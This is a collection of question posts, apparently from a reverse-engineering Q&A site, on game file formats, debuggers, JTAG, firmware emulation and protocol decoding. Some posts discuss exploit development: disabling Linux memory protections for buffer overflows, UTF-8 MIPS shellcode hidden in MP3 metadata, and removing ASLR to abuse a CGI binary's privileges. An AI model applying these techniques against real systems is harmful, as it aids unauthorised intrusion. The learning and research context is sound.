问:
Reverse-engineering DOS game's data files
I would like to figure out the data format used by an old DOS game I used to play when I was a kid. That link includes a full download for all the files and it runs fine in DOSBox if you want to try it.

The game's main executable (once you run the installer) is Z#.EXE, which file identifies as "MS-DOS executable, COFF for MS-DOS, DJGPP go32 DOS extender". Binwalk returns nothing interesting besides a few copyright strings - by trying the -X option, it finds a ton of deflate streams which seem bogus. Strings however shows interesting stuff :

```<code>stub.h generated from stub.asm by djasm, on Sat Oct  5 20:49:01 1996
The STUB.EXE stub loader is Copyright (C) 1993-1995 DJ Delorie.
...
$Id: stub.asm built 10/05/96 20:49:00 by djasm $
...
go32stub, v 2.00T
...
O2C - v1.0 - RiCO/SPiRiT - Richard Spijkers
...
popr0%d.vg2
popr1%d.vg2
popr2%d.vg2
popr3%d.vg2
popb0%d.vg2
popb1%d.vg2
popb2%d.vg2
popb3%d.vg2
popp0%d.vg2
popp1%d.vg2
popp2%d.vg2
popp3%d.vg2
r01.VG2
r02.VG2
r03.VG2
r04.VG2
r05.VG2
b01.VG2
b02.VG2
b03.VG2
b04.VG2
b05.VG2
p01.VG2
p02.VG2
p03.VG2
p04.VG2
p05.VG2
popg1%d.vg2
popg2%d.vg2
popg3%d.vg2
g01.VG2
g02.VG2
g03.VG2
r401.VG2
r401b.VG2
r402.VG2
r402b.VG2
r403.VG2
r403b.VG2
...
demodisk.vg2
stagecom.vg2
pop.vg2
cursor.vg2
energy.vg2
logo.vg2
readyr.vg2
readye.vg2
readya.vg2
readyd.vg2
readyy.vg2
...
Error loading Song
PANG%02d.LV2
RAIN.SNG
BOSS1.SNG
Error loading level
The combined level file is corrupt.
...
BUBBLE.PCX
PREVIEW1.PCX
PREVIEW2.PCX
PREVIEW3.PCX
PREVIEW4.PCX
PANG1.PCX
VShI
uLA9
BMBLEV
BMBARS
BMBIG
BMGRAB
PANG%02d.PCX
...
GENERAL.SNG
CREDITS.SNG
...
TITLE.PCX
error loading title screen (TITLE.PCX)
...
BMANIASW.CDF ### the data file
unable to locate data file BMANIASW.CDF.
...
SPLIT.RAW
GUN.RAW
YEAH.RAW
GROUP.RAW
HSTUCK.RAW
BONUS.RAW
SPLITTER.RAW
TICK.RAW
CLOCK.RAW
OHYEAH.RAW
BOSSHIT.RAW
LAUGH.RAW
TRUMPET.RAW
YBIRD.RAW
MENUMOVE.RAW
MENUHIT.RAW
SCORE.RAW
BMANIA.PAL
...
Cannot open CF file.
Unable to locate combined file:
abnormal program termination.
Unable to read from combined file.
...
man%d.vg2
arrow.vg2
0,1,2,3,4
harp%d.vg2
guna0.vg2
gunb0.vg2
gunc0.vg2
manh%d.vg2
man0.vg2
man4.vg2
manhitg.vg2
manf0.vg2
manf1.vg2
manf2.vg2
manf3.vg2
0,1,2,3
manc%d.vg2
shield.vg2
mans4.vg2
...
rhinoh1.vg2
rhinoh2.vg2
rhinoh3.vg2
rhino1.vg2
rhino2.vg2
rhino3.vg2
rhino4.vg2
rhino5.vg2
</code>```

The first few suggest that DJGPP was used to compile the file, and then a ton of what looks like filenames follow, with some error strings as well as a reference to BMANIASW.CDF which is either the game's actual data/asset file. The full strings output is here.

On the data file, binwalk finds nothing besides LZMA streams which again seem like false positives. Strings shows very repetitive patterns as well as totally random onee, plus more filenames at the end of the file, so it looks like there is both uncompressed data as well as compressed. The full strings output is here.

Does anyone recognize this type of compression, or could hint at which tools to try next?


问:
Hopper remote debugging
I  have hopper on my Mac and work fine for disassemble, now I want to debug an exe file, but I have a problem...
with ida you can remote debugging, is there any method where I have hopper on my Mac (client) and start a remote debugger on windows/linux so I can also dynamically debug elf and exe?
Thank you.</p>

ContentLicense: CC BY-SA 3.0

Title: Hopper remote debugging


问:
How to decompress a custom game data file?
So here's the rundown:

The files in themselves are .spc. Normally, you'd think this is a spectrum file, but it's a custom file made by the developer themselves. It contains an image that is used/will be used in the game, and me and a group is trying to figure out how to decode it.

Here's things we've tried and know so far:

-Initially, we thought that it was a PKSC7 certificate envelope. It was not, as it was a custom file. They were unpacked from a general .cpk file, which all games in the series have utilized.

-The game in question is a PSVITA and PS4 (although our files are from the Vita version) game and is called New Danganronpa V3

-We received info from a third party that does not want to share how to decompress the files. They were the ones that taught us the SPC file is NOT a certificate or spectrum file, and that the method to decompress it was backwards and strange, and was found out mostly by accident

-We found out some strange stuff in hex files, but the most relevant information is that the .spc files are CPS., a little-endian compression method. According to some help we've found elsewhere in the internet, this is a big hint on how to decrypt said files - we've tried switching it to big-endian, but we haven't found much other than the hex data changes to be more coherent.

-Other things we've found in the hexdata include stuff like filepaths (such as a thing called "SPCpack", a few things ending in .srdi and .srd, and -BEGIN CERTIFICATE- at the top of one. Here's an image:

If the files themselves are needed, they are available here:

https://mega.nz/#!6xtmgBzQ!RNfIUlC94bQs4YPTVD0GuMFTi3LfqeIMrKdaxqRtCp8


问:
Get instruction bytes in JIT mode, Intel Pin
I have an INS object in the instrumentation function, and I wish to get the actual bytes used to code this instruction. Looking at the INS functions, the closest I found was a function to disassemble it (show the assembly code), where I'm seeking for the actual bytes.

Assistance is highly appreciated.


问:
Using __kernel_vsyscall on x64 linux machine
I am trying to use __kernel_vsyscall instead of syscall/int 80 on linux x64.
I have read that it can be done on Intel chips (I have one), but i can't find how can one do it. I have x32 version:

```<code>int main() {
    __asm__(
    "               movl $1, %eax  \n"
    "               movl $42, %ebx \n"
    "               call *%gs:0x10 \n"
    );
}
</code>```

One can compile & run it this way:

% cc -m32 exit42.c -o x
% ./x; echo $?
42

So, how can i call vdso syscalls on x64 without syscall and int 80?


问:
Why is IDAPython decompiler API returning the same effective address for both the current item and its parent?
Following this blog post, I am writing an IDAPython code to traverse the AST generated by the decompiler in order to extract some information. I am providing both my AST, the Python code and the output. The problem is, the effective address is the same for both the current item and its parent which shouldn't be the case.

Python code:

```<code>import idaapi

class sample_visitor_t(ctree_visitor_t):
    def __init__(self, log_message_xref_addr):
        self.log_message_xref_addr = log_message_xref_addr
        ctree_visitor_t.__init__(self, CV_PARENTS)
        return

    def visit_expr(self, expr):
        if expr.op != cot_call:
            return 0

        method_name = get_func_name(expr.x.obj_ea)
        if expr.a.size() > 0:
            args = expr.a
            for arg in args:
                if arg.ea == self.log_message_xref_addr:
                    print method_name, hex(expr.ea)
                    pexpr = self.parent_expr()
                    print(hex(pexpr.ea), pexpr.op)

        return 0

def traverse(func_addr, log_message_xref_addr):
    function = get_func(func_addr)
    cfunc = decompile(function)
    visitor = sample_visitor_t(log_message_xref_addr)
    visitor.apply_to(cfunc.body, None)

traverse(0x8F62635C, 0x8F626570)    # emmc_recovery_init = 0x8F62635C
</code>```

Decompilation:

```<code>int emmc_recovery_init()
{
  int v0; // lr@0
  unsigned __int64 v1; // r6@1
  size_t v2; // r0@1
  recovery_message *v3; // r4@1
  uint32_t v4; // r8@2
  int v5; // r0@2
  int v6; // r10@2
  uint8_t v7; // r0@3
  unsigned __int8 v8; // r3@5
  int result; // r0@12
  unsigned int status; // [sp+8h] [bp-28h]@1
  void *v11; // [sp+Ch] [bp-24h]@13

  status = 0;
  LODWORD(v1) = v0;
  v2 = mmc_get_device_blocksize();
  v3 = (recovery_message *)memalign(0x40u, v2);
  if ( !v3 )
LABEL_29:
    panic((void *)v1, "msg");
  v4 = mmc_get_device_blocksize();
  v5 = partition_get_index("misc");
  v6 = v5;
  if ( v5 < 0 )
  {
    dprintf("%s: Partition not found\n", "misc");
  }
  else
  {
    v1 = partition_get_offset(v5);
    v7 = partition_get_lun(v6);
    mmc_set_lun(v7);
    if ( v1 )
    {
      if ( !mmc_read(v1, HIDWORD(v1), v3, v4) )
      {
        v8 = v3->command[0];
        v3->command[31] = 0;
        if ( (unsigned __int8)(v8 - 1) <= 0xFDu )
          dprintf("Recovery command: %d %s\n", 32, v3);
        if ( !strcmp(v3->command, "boot-recovery") )
          boot_into_recovery = 1;
        if ( !strcmp("update-radio", v3->command) )
        {
          if ( !get_boot_info_apps(2u, &status) && status & 1 )
          {
            dprintf("radio update success\n");
            strlcpy(v3->status, "OKAY", 0x20u);
          }
          else
          {
            dprintf("radio update failed\n");
            strlcpy(v3->status, "failed-update", 0x20u);
          }
          boot_into_recovery = 1;
          if ( strcmp("reset-device-info", v3->command) )
          {
LABEL_11:
            if ( strcmp("root-detect", v3->command) )
            {
out:
              free(v3);
              result = 0;
              goto LABEL_13;
            }
LABEL_15:
            set_device_root();
            strlcpy(v3->command, (const unsigned __int8 *)"", 0x20u);
            emmc_set_recovery_msg(v3);
            goto out;
          }
        }
        else if ( strcmp("reset-device-info", v3->command) )
        {
          goto LABEL_11;
        }
        reset_device_info();
        if ( strcmp("root-detect", v3->command) )
          goto out;
        goto LABEL_15;
      }
      dprintf("mmc read failure %s %d\n", "misc", v4);
    }
    else
    {
      dprintf((const unsigned __int8 *)"partition %s doesn't exist\n", "misc");
    }
  }
  if ( v3 )
  {
    free(v3);
    result = -1;
  }
  else
  {
    result = -1;
  }
LABEL_13:
  if ( v11 != _stack_chk_guard )
    goto LABEL_29;
  return result;
}
</code>```

Output:

```<code>_dprintf 0x8f626574L
('0x8f626574L', 72)
</code>```


问:
What memory security settings are needed to allow a basic buffer overflow on Fedora 25?
I'm having a rather difficult time determining what memory security settings need to be adjusted on a fresh install of Fedora 25 in order to perform basic buffer overflows in the C language. As a newbie, this has been the toughest to figure out. I have several books and have watched several tutorials but every single one either provides a CD of a specific Linux install, or a asks to set up a VM. Unfortunately, I've had a very tough time setting up a VM on Windows (many different errors, terrible performance, etc...) and my Linux box is old, probably far too old to have enough memory to VM.

That said, are there any OS settings that would by default prevent a buffer overflow from happening on a fresh Fedora 25 install? If so, which settings and how could I disable them? I've tried to perform an attack on my own program and the memory addresses are the same in gdb every time I run the program. Also, I am able to cause a segmentation fault by overflowing the buffer properly (canaries are disabled in the file), however, when I try to execute a function by using nm [myfile] on the command line, and entering the address into the overflow, the function does not execute, instead, I get a seg fault at best. I am working with 64 bit programs here.


问:
How do you find and set a BP on OutputDebugString calls in OllyDBG?
I have a binary that is utilizing OutputDebugString as an anti-debugging technique. I want to find the calls and patch up the jump table or something similar. Normally I can find an API call by using the "Names" window. Also I have tried searching for all intermodular calls. The OutputDebugString API is found in neither, but I know it is being called. How do I find the calls to this API and set a BP on them?

Note: This software is packed and protected using Armadillo, which uses some API redirections, so maybe it is using LoadLib/GetProcAddr to call the API by offset instead of by name?


问:
GNU Assembler - Tricore - how to set origin?
I have a compiled Tricore binary that I am patching. By creating a .asm file from IDA Pro of a function and reformatting it, I can get it to reassemble faithfully apart from call (relative) and jump (relative) instructions. One of the reasons for going through this was so that the assembler would automatically recalculate the offsets from the program counter for the relative jumps and calls in the relocated code.

The failure is because the .org 0x80280000 is not working as I hoped and the a.out file has a base of 0x0 so the call and j are not reachable from that address. I do not want to alter the code to absolute calli.

This fails:

```<code>.org 0x80280000
call 0x8027024C
j    0x80292420
</code>```

orgtest1.s: Assembler messages:

orgtest1.s:2: Error: Opcode/operand mismatch: call 0x8027024C

orgtest1.s:3: Error: Opcode/operand mismatch: j 0x80292420

This fails:

```<code>call 0x8027024C
j    0x80292420
</code>```

orgtest1.s:1: Error: Opcode/operand mismatch: call 0x8027024C

orgtest1.s:2: Error: Opcode/operand mismatch: j 0x80292420

This succeeds:

```<code>call 0x7024C
j    0x92420
</code>```

The problem is not that the instructions are illegal (and jumping to a lower address is legal), but that I cannot find a way to tell the assembler where the origin is.

I do not know if this is expected behaviour from GNU AS? I am reading that it cannot calculate addresses lower than .org, and indeed if I set an .org of 0x8000 and call 0x2404 it ends up at 0xA404 so the call instruction is simply adding the displacement to the program counter and not calling an absolute address.


问:
COBOLII-MB 2.xx
I have a really old cobol program that was used to store some data, the company is no loger active and the program had to receive a key every 3 months. What tools I can use to reverse a cobol program? I tried to use ida but didn't have any success, I have some experience reversing .net </p>

Title: COBOLII-MB 2.xx


问:
Is there a from...import * equivalent of idaapi.require()?
Loading your own modules from your IDAPython scripts with idaapi.require() suggests using idaapi.require() to load user modules in IDAPython scripts. However in my script, I have extensively used from <mymodule> import * statement so that I don't need to prepend mymodule before every item I use. Is there any IDAPython equivalent to that?


问:
Patching a variable's type in an executable file
Let's say i have a program.In this program i have a variable named PacketSize of type Short.I want to change the variable's type to Int.

Now if i am able to locate this variable's location in the memory while running the program , how can i use this to accomplish my aim or is it done by another way?

Edit :

*The application is a client.

*The variable is for the tcp packet's length which is sent in the packet header by the server to the client.

*I would guess that it's either a part of a structure (Maybe PacketHeader) or a stack one.


问:
How can I make these images appear normal?
I'm trying to extract some images from a PS Vita game. I've managed to get a load of .bin files with names 00000.bin, 00001.bin and so on, but the file types are not the same.

Each even numbered file is a GXT file, which I have converted into PNG images, but they appear to be cut into pieces, similar (but not the same) to this: http://i.imgur.com/PdJm1MV.jpg

On the webpage where I found the above image, there was a program linked that is supposed to put the cut images together to form new images. However, this program requires both a PNG file and a LAY (layout) file.

Each odd numbered file has this hex header:

```<code>11 00 00 00 42 01 00 00 01 00 00 00 00 00 00 00
</code>```

I assume this is the LAY file needed, but I am unsure about how to convert the BIN files to LAY. Simply changing the file extension does not work, TrID says that it is "100.0% (.) LTAC compressed audio (v1.71) (1001/2)"

Here is an example of a pair of BIN files, and the PNG version of 00000.bin: http://www.filedropper.com/binandpngfiles

I'm stumped about what to try next. Any guidance would be appreciated.


问:
How can I control local variable ordering on stack in gcc?
I am writing a reversing challenge where I need to seed a bug. It's important to have a particular ordering of local variable on stack in a method. However, gcc seems to shuffle those around. How can I control variable ordering in such cases?</p>


问:
Trying to dump firmware from embedded flash
I have an Infineon XC161CJ-16F SoC and Micron/ST M29W320EB parallel nor flash memory that I am trying to dump the firmware from but I'm not sure how to proceed.  I found JTAG pads that I soldered pins to but I think JTAG was probably disabled by the processor at boot, at least I can't get anything to connect.  I am using a Black Flash USB programmer board and Blackcat software. The device has a RS232 port but I haven't been able to get anything out of it.

This might be better suited for EE but the TDI and TCK circuits have pull-up resistors on them, the TRST circuit has a pull-down resistor, and the TMS and TDO do not have any.  I don't know if that's normal or not.

I don't think the memory chip can be read directly unless I have some kind of special clip (which probably won't fit this application) or it's desoldered? Desoldering is out of the question unfortunately.  So that means I need to  find some way to enable JTAG?

It can also run in "dead poll" mode by holding a button at boot in order to program the main firmware. As I understand it at that point the device is running on the boot block firmware.  I'm not sure if that could help me or not.  I also don't know if the boot block image is programmed into the internal SoC or to a special block on the flash chip.  I have a copy of both the main firmware and boot block file but I'm sure they are encrypted/obfuscated.  I have also reversed the programming software and sniffed the usb during firmware updates to confirm that the decryption isn't done in software.

According to the XC161CJ datasheet it looks like it can be run off internal or external memory,  I don't know if that could help or if there is any risks from messing with it.  Also maybe I could try to dump the internal SoC memory, but there could be security checks to prevent this?  I guess I just really don't know where to go from here.  I've done some JTAG programming before but always with a guide to follow.  This is the first time I've had to figure it out for myself and I'm stuck.

Any help would be appreciated.  Thanks!


问:
Elf binary manipulation tool on ARM
Do you know any free tool for binary manipulation elf file on ARM, something like ERESI elfsh for Intel?

Purpose - adding instructions into existing binary elf file.

Title: Elf binary manipulation tool on ARM


问:
Fighting programs that don't respond to Send/PostMessage-based input
This can be difficult to ask because 1) people assume this is necessarily malicious and 2) unrelated but effectual techniques like GetForegroundWindow can make this impossible to answer.

So, to keep this as general as possible: If I wish to send keyboard and mouse events to a program but it is ignoring messages other programs receive and interpret just fine, what might I try? What might the developers be trying? The goal is to have multiple windows receiving input at once.

My specific case is that I wish to be doing things on my system while the target window receives clicks and keyboard input at a set interval. I could just toggle foreground, but I really don't want to.

If this would better fit somewhere else than reverseengineering or if some variation on this has already been asked I would, of course, be perfectly content to respectively post elsewhere or read said variation.


问:
LD_PRELOAD in QEMU user space emulation
I was trying to emulate a firmware and as a part of the process I was interested in knowing what device files are being registered using mknod. In order to intercept those calls I had created a shared object file and just for a dry run, I was trying to preload this shared library while making a call to mknod to register a character device while doing user space emulation with QEMU like so.

sudo strace chroot . ./qemu-mips-static -E LD_PRELOAD="/mknod.so"
  mknod chrdev4 100 0

The files are in the correct place and I was following a tutorial very closely so I know am not making a syntactical as such, but my strace log showed my preloaded library not being accessed at all. Please note that in this case, my mknod is a symbolic link to the busybox binary which in turn executes the mknod syscall. I was wondering if that level of indirection could be an issue and possibly a reason as to why my library isn't getting preloaded?

Title: LD_PRELOAD in QEMU user space emulation


问:
What causes a blank memory dump in OllyDbg?
I'm debugging a program right now in OllyDbg, and the entire hex dump is blank. I'm stepping through fine, and I do get the WIN API recognition, but I want to edit some memory but am not able to:

I'd like to, for example, edit the string pointed to by 00404378 to change the string "Error" to something else (see stack panel) but as you can see in the dump, it's completely blank. If I scroll the dump up and down, it's all blanked out.


问:
Is there a static data flow analysis tool for .net assemblies?
I read here that CAT.NET and FxCop are dead. As far as I understand, the successor Roslyn requires a visual studio project and source code.

Is there a tool that reads in a compiled .NET program and offers an API to do static data flow analysis?


问:
COM interface call from managed code
I have managed assembly that calls COM interface methods. I am interested in IManager interface, here is the code from NET Reflector:

```<code>namespace Lib
{
     [ComImport, CompilerGenerated, CoClass(typeof(object)), Guid("5D3D2B5F-1AD8-48F7-BC63-DFF7E6BED182"), TypeIdentifier]
    public interface Service : IService

     [ComImport, CompilerGenerated, Guid("1A5BCF9B-039D-4422-9380-274D98D27265"), TypeIdentifier]
    public interface IManager

    // another interfaces...
}
</code>```

As I understand assembly should contain reference to another assembly that contains metadata required to call COM interface methods at runtime. However there is no referenced assembly with name that would indicate possible COM metadata.

I already have interface GUID, now I believe I need to obtain GUID for COM object itself and code small C++ program that will use CoCreateInstance and QueryInterface. After that I will be able to make call trough virtual table without providing full interface definition. Than we load our program in IDA and follow the call.

I am not very familiar with COM, is it technically possible to achieve? How can I get GUID for COM object itself? (I will use it in CoCreateInstance) Thank you.

Title: COM interface call from managed code


问:
Solve problem with debugging Linksys-wrt54gl with JTAG using BusPirate programmer
I am getting this output when I am issuing this command:

```<code>$ sudo openocd -f board/MyBuspirate.cfg -f board/linksys-wrt54gl.cfg

Open On-Chip Debugger 0.10.0+dev-00092-g77189db (2017-02-25-13:44)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Warn : Adapter driver 'buspirate' did not declare which transports it allows; assuming legacy JTAG-only
Info : only one transport option; autoselect 'jtag'
srst_only separate srst_gates_jtag srst_open_drain connect_deassert_srst
Info : Buspirate Interface ready!
Info : This adapter doesn't support configurable speed
Info : JTAG tap: bcm5352e.cpu tap/device found: 0xe09a91ff (mfg: 0x0ff (<invalid>), part: 0x09a9, ver: 0xe)
Warn : JTAG tap: bcm5352e.cpu       UNEXPECTED: 0xe09a91ff (mfg: 0x0ff (<invalid>), part: 0x09a9, ver: 0xe)
Error: JTAG tap: bcm5352e.cpu  expected 1 of 1: 0x0535217f (mfg: 0x0bf (Broadcom), part: 0x5352, ver: 0x0)
Warn : Unexpected idcode after end of chain: 544 0x7fffffff
Warn : Unexpected idcode after end of chain: 576 0xfff82648
Error: double-check your JTAG setup (interface, speed, ...)
Error: Trying to use configured scan chain anyway...
Error: bcm5352e.cpu: IR capture error; saw 0xfe not 0x1
Warn : Bypassing JTAG setup events due to errors
^CInfo : Shutting down buspirate.
Info : Buspirate switched to normal mode
</code>```

where, board/MyBuspirate.cfg:

```<code>buspirate_port /dev/ttyUSB0
buspirate_vreg 0
buspirate_mode normal
buspirate_pullup 1
buspirate_speed normal
reset_config srst_only
</code>```

and the board/linksys-wrt54gl.cfg:

```<code># Linksys WRT54GL v1.1
#
source [find target/bcm5352e.cfg]
set partition_list {
    CFE         { Bootloader                    0x1c000000 0x00040000 }
    firmware    { "Kernel+rootfs"               0x1c040000 0x003b0000 }
    nvram       { "Config space"                0x1c3f0000 0x00010000 }
}

# External 4MB NOR Flash (Intel TE28F320C3BD90 or similar)
set _FLASHNAME $_CHIPNAME.flash
flash bank $_FLASHNAME cfi 0x1c000000 0x00400000 2 2 $_TARGETNAME
</code>```

and the source, target/bcm5352e.cfg , it refers to:

```<code>set _CHIPNAME bcm5352e
set _CPUID 0x0535217f

jtag newtap $_CHIPNAME cpu -irlen 8 -ircapture 0x1 -irmask 0x1f -expected-id $_CPUID

set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME mips_m4k -endian little -chain-position $_TARGETNAME

gdb_memory_map disable
$_TARGETNAME configure -event gdb-attach {
   reset
   halt
}
</code>```

I want to be able to Debug the JTAG tap: bcm5352e.cpu that i have defined using gdb. I am able to connect to the gdb server that openocd listens on, but looking at the registers, and instruction pointers etc. is saying garbage.

I am not sure, if the Bus Pirate is working as expected and it is in JTAG mode?? I assume yes, because in the output it says: Info : only one transport option; autoselect 'jtag'.

Do you have any ideas about why i am getting the errors, the unexpected ID codes? And greatly appreciated for generally other points, tips and tricks?


问:
Protocol RE, mysterious checksum function
Im trying to reverse engineer a protocol in which some text is sent and has a specific number appended. I figured out that the number is some kind of a checksum (depends on the text somehow) and also that it increments by one on cases such as this: "aaaaaaab" = X and "aaaaaaba" = X+1.
Does anyone here have any idea what I could be dealing with?

Additional data:

```<code>iiiiiiii =  4d0b
iiiiiiil =  920b
iiiiiill =  ce0b
iiiiilll =  120c
iiiillll =  5a0c
iiilllll =  990c
iillllll =  dd0c
illlllll =  210d
llllllll =  680d
liiiiiii =  940b
iliiiiii =  950b
iiliiiii =  960b
iiiliiii =  970b
iiiiliii =  980b
iiiiilii =  990b
iiiiiili =  9b0b
iiiiiiil =  920b
aaaaaaaa =  210f
aaaaaaab =  a110
aaaaaaba =  a210
aaaaaaca =  9f0f
aaaaaacb =  1f11
baaaaaaa =  a610
</code>```

The second part is what I have deduced to be the number which depends on the string. It's also obvious from the data  that the first two digits are least significant.


问:
Help identify missing component for jtag connection
I found JTAG header for ARM (OMAP3x). It's a Cortex 10-pin 0.05" JTAG/SWD Connector.

(See here)

I think it's JTAG because PIN#3 and 5 are on GND and it's close of CPU

When I follow the wires, TCK, TDO, TDI goes on missing componant (red circle).

Here is a picture :

First I was thinking an resistor array of 10K for pull up or pull down signals.

But first, the left side pads doesn't seem to be wired to GND or Vcc

Secondly it would be a 6 resistors array witch is not very common

A last, array resistors have their pads wider on the ends (as the one of 100K*4 on the right bottom of the picture), witch isn't the case here.

So what it could be ?

Do you think there is a missing resistor on TMS ? as we can see (perhaps) a pad for resistor (go to GND)

Regards

ContentLicense: CC BY-SA 4.0


问:
How can I retrieve port configs and IDs of a USBxpress serial device from software DLLs?
I'm new to the coding game. I've been using Ollydbg to try and find the info but it seems it's encrypted. I was hoping I could locate the info so I can program my device to work with the software it's intended for. I was able to find where the process requests the info and sets the info under "names" .text files (Example: ".text _GetDeviceVid" and ".text _SetVid"). Is there a way I can retrieve that info so I can use it to program my device?</p>


问:
ZyXEL P-2812HNU-F1, replacing the U-Boot on the board
I want flash regular(non branded) firmware on ZyXEL P-2812HNU-F1 router, which have branded version of firmware (customized for local MSO provider).
To do this, I should first replace the U-Boot image on the board. The full procedure is described in Wiki. However, this procedure is for installing OpenWrt on ZyXEL P-2812HNU-FX series. In my case I just want flash the regular unbranded firmware version from the manufacturer's repository, not OpenWrt.

What's not clear: do I need another special U-Boot version, tailored to regular generic (nonbranded) ZyXEL firmware, or I can use U-Boot version created for OpenWrt?


问:
OllyDbg how to see the main thread (all memory in the cpu)
I can't figure out how to see more than the [CPU - main thread, module  ]
in the CPU window.

Sometimes when I jump to an address the title changes just to [CPU - main thread]
and now I can see all of the memory in the program (including the PE header)

For comparison:
[CPU - main thread]

[CPU - main thread, module  ]

How do I switch between these two? When I press "view threads" it only shows me one executing thread, when I click it, it shows me the [CPU - main thread, module] which is not what I want.

Strange.


问:
Using QEMU to boot arm uImage kernel
I'm currently trying to reverse engineer the firmware for the Swann DVR16-4500 security camera system. I successfully extracted the cramfs filesystem and now I have the following files inside the cramfs-root directory:

```<code>-rw-r--r-- 1 root root 2289232 Dec 31  1969 gui_res.tar.lzma
-rwxr-xr-x 1 root root     744 Dec 31  1969 new_10.bin
drwxr-xr-x 2 root root    4096 Dec 15  2015 Player_ml
-rwxr-xr-x 1 root root  824944 Dec 31  1969 player.zip
-rwxr-xr-x 1 root root    2936 Dec 31  1969 start.sh
-rw-r--r-- 1 root root 6213824 Dec 31  1969 sys_app.tar.lzma
-rwxr-xr-x 1 root root 3585544 Dec 31  1969 uImage
-rwxr-xr-x 1 root root 1881320 Dec 31  1969 WebComponents.exe
-rwxr-xr-x 1 root root  689296 Dec 31  1969 webs.tar.lzma
</code>```

I tried using unlzma and tar --lzma -xvf to extract the *.tar.lzma files, but I had no luck. I came across this post which suggested running the kernel in an emulator in the hopes of finding the necessary extraction tools there. I've been tearing through QEMU documentation and online videos but I can't figure out exactly what I need to do to get QEMU to run the uImage kernel using qemu-system-arm. What do I need to do in order to get the kernel to run?

Title: Using QEMU to boot arm uImage kernel


问:
What is the name of this technique?
A while back, on a Linux system, I found a strange binary being executed at seemingly random times with some strange arguments, briefly appearing in ps. There was nothing to be found at the usual suspect like init.d, .bashrc and crontab. I found where the binary was located, renamed it, and put a script it its place. The script displayed and passed through all the received arguments and recorded the time and the duration of the binary execution, as well as some /proc information. I was able to figure out what called it, when, and what were the arguments. What is the name of this honeypotting, MITM technique?

Title: What is the name of this technique?


问:
IDA pro dump memory snapshot to file
My question is rather simple, I was analysing a piece of malware packed by some packer in IDA. I have found a memory mapped (via mmap2) region which contains the file I'm interested in. I've created a memory snapshot and I'd like to copy this specific area into a file.

Sadly I haven't been able to find good instructions on how to do this, any help would be most appreciated.

Title: IDA pro dump memory snapshot to file


问:
getting the flags of an IDA name
IDA has the following function idc.MakeNameEx which accepts multiple flags values that set properties about the given name (such as whether it's public, auto-generated, etc).

So far all is good and well, but I would like to do the opposite - get those flag values of a name. I'd like to test if a name is public, weak, auto, etc. but I cant seem to find a idc.NameFlags method anywhere.

Am I missing something or is this functionality unavailable?

Thanks

Title: getting the flags of an IDA name


问:
Is it feasible to try write mips unicode shellcode
I am doing a bit off research on exploiting mips embedded applications and I am in a situation where I am able to trigger a buffer overflow, effectively being able redirect execution to any location in memory. There are restrictions however; the memory address I return to and any shellcode I use has to be UTF-8 compatible. This is because the payload has to be stored in an ID3 tag (metadata of an mp3 file).

Since this is mips, I have not come across any encoders that can support creating UTF-8 or alphanumeric shellcode. I am now wondering if this is the case because writing an encoder or shellcode for this architecture is not feasible?


问:
What does 'mapped' memory region mean in gdb-peda?
I was reading a write-up of a binary exploitation where I came across the following:

What does the mapped keyword listed under Name column mean? What sort of memory region does it refer to?


问:
FFC on the back of a Chromebook Pixel Display Assembly

Hello!
I want to get the touch overlay of a Chromebook Pixel Display Assembly to work. I attached a picture of the Cable coming out of a mxT1664S touch controller. Can someone tell me what type of receptacle I need to make a breakout board? Also, any clues about what this cable might transfer are highly appreciated.
Thank you!


问:
Is there an existing method to lift ARMv7 [iPhone] binaries to LLVM IR?
I am trying to do some blackbox analysis on a iOS ARMv7 binary. It would be interesting to apply the LLVM analysis tools to such a binary, but I don't have source code. Is there a an existing lifter tool which could lift ARMv7 bytecode to LLVM IR? </p>


问:
Possible to execute cgi application locally and preserve the permissions?
This was part of a challenge which is now ended.

On that server, when the cgi application was called remotely, apache executed it with the permissions of the owner of that binary. So the goal was to abuse those rights with buffer overflow.

The application had all kinds of protections and in order to execute arbitrary code you had to definitely remove ASLR. The server was old btw so both "ulimit -s unlimited" and "setarch uname -m -R /path/app" would have effectively achieve the aslr removal. Now where i was stacked was to execute locally the application with the permissions of the owner.

I think the application didn't have the suid, so apache had to change the euid somehow right?
Is it possible to get that behavior locally?
I had btw shell access to the server with the apache user.

EDIT:
I just thought that i could create a different directory and add a symlink to the target binary, create the .htaccess (with +ExecCGI) and set the "ulimit -s unlimited" on that session. I am not sure if it would have worked though

Thanks


问:
Analysis Apps for iOS10/64Bit
I need to analyze an iOS app. Since it's iOS 10 64Bit (jailbroken) this time, I'm desperately looking for good analysis tools for injecting, manipulating, anti-anti-jailbreak, tracing, and so on. I previously used tools iRet and iSpy and so on, but none of those tools are available for iOS10 64Bit it seems. Any helping input on how to analyze apps in this environment would be really appreciated. (at least Keychaindumper still works ;)</p>

Title: Analysis Apps for iOS10/64Bit


问:
Using the AND operator to find a heap allocation size, Fermin's formula
I came across this technique, leveraging the HPA feature (Heap Page Allocator, known as PageHeap) in gflags from Windows debugging tools, to find the size of a heap allocation:

Lets say you have found a use-after-free on program X where at some point it is dereferencing a register plus an offset.

You could:

1) Open IDA an lookup where the object got created to see the size of the allocation.

2) Use page heap, windbg and take a look to the allocation stack trace

3) Windbg !heap -p -a

Or... a quick trick I used today, taking advantage of page heap placing the object at the end of a page for catching buffer overflows.

1:022:x86> ? 0x1000-(ebx&0x00000FFF)
  Evaluate expression: 88 = 00000058 <--- size of chunk
  1:022:x86>

Fermin J. Serna - @fjserna

Why does it work?

This is what I understand:

Each page is 0x1000 bytes (4kb).

Each block smaller than 0x1000 would be allocated from the end of the page backwards.

Therefore, by taking the page size and subtracting the block size from it, retrieved from the block's address last 3 digits that we get using the & operator, you get its actual size.

It seems a bit voodoo, because:

In order for the subtraction to work, the inspected allocated block address must be aligned with 1000. Does HPA align everything in pages somehow? I didn't find any resource with enough information about it. Is there any other way that HPA makes this formula work with?

How does the AND operator actually makes the value return only the last 3 digits? I don't get its logic.

Could anyone be kind enough to explain these things for us?


问:
Wireshark - Bluetooth LE decoding a HCI Log
I have a bluetooth LE home automation style device, that connects to a mobile app. There are 2 values which are updated roughly every second. I'm trying to extract these numbers from the payload. I've narrowed the frames down to these examples below.

```<code>00-02-7B-02-9E-00-0F-3B-84-DD-30
00-02-7C-02-A8-00-0F-3B-84-DD-30
00-02-7C-02-A9-00-0F-3B-84-DD-30
00-02-7B-02-A2-00-0F-3B-85-60-42
